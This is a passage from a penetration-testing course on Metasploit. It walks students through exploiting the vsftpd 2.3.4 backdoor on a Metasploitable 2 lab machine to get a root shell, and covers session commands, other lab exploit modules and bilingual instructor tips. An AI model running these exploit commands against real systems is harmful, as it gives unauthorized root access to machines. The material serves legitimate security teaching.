23. Exploitation with Metasploit
23.4 Running an Exploit and Getting a Session
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.20
msf6 exploit(...) > exploit
[*] 192.168.56.20:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 192.168.56.20:21 - Backdoor service has been spawned...
[*] Command shell session 1 opened
You now have a shell session. Basic session handling:
id # run a command in the session (you are usually root here)
^Z # background the session (or 'background')
msf6 > sessions # list active sessions
msf6 > sessions -i 1 # interact with session 1 again
msf6 > sessions -K # kill all sessions when done
Other classic Metasploitable 2 practice modules (all lab only): exploit/multi/samba/usermap_script (Samba), exploit/unix/irc/unreal_ircd_3281_backdoor (UnrealIRCd), exploit/multi/http/php_cgi_arg_injection.
Snapshot first, restore after
Exploits can leave a service broken. This is exactly why you took a clean snapshot – restore it after practice so the lab stays in a known state.
Ravindra Bagale's Tip
As soon as they get a session, students start wandering everywhere. First run id and hostname to confirm where you are and who you are. When the work is done, close it with sessions -K; forgetting open sessions is a mistake.
Ravindra Bagale's Tip – मराठी
Session मिळाला की students लगेच सगळीकडे फिरू लागतात. आधी id आणि hostname चालवा – आपण कुठे आहोत, कोण आहोत हे confirm करा. काम झाल्यावर sessions -K ने बंद करा; उघडे sessions विसरणे ही चूक आहे.
Ravindra Bagale's Tip – हिंदी
Session मिलते ही students तुरंत हर जगह घूमने लगते हैं. पहले id और hostname चलाओ – हम कहाँ हैं, कौन हैं यह confirm करो. काम होने के बाद sessions -K से बंद करो; खुले sessions भूल जाना गलती है.
Lab
Exploit the vsftpd backdoor on Metasploitable 2, run id and hostname in the shell to confirm you are root, background the session, list it with sessions, then kill it with sessions -K. Restore your snapshot afterwards.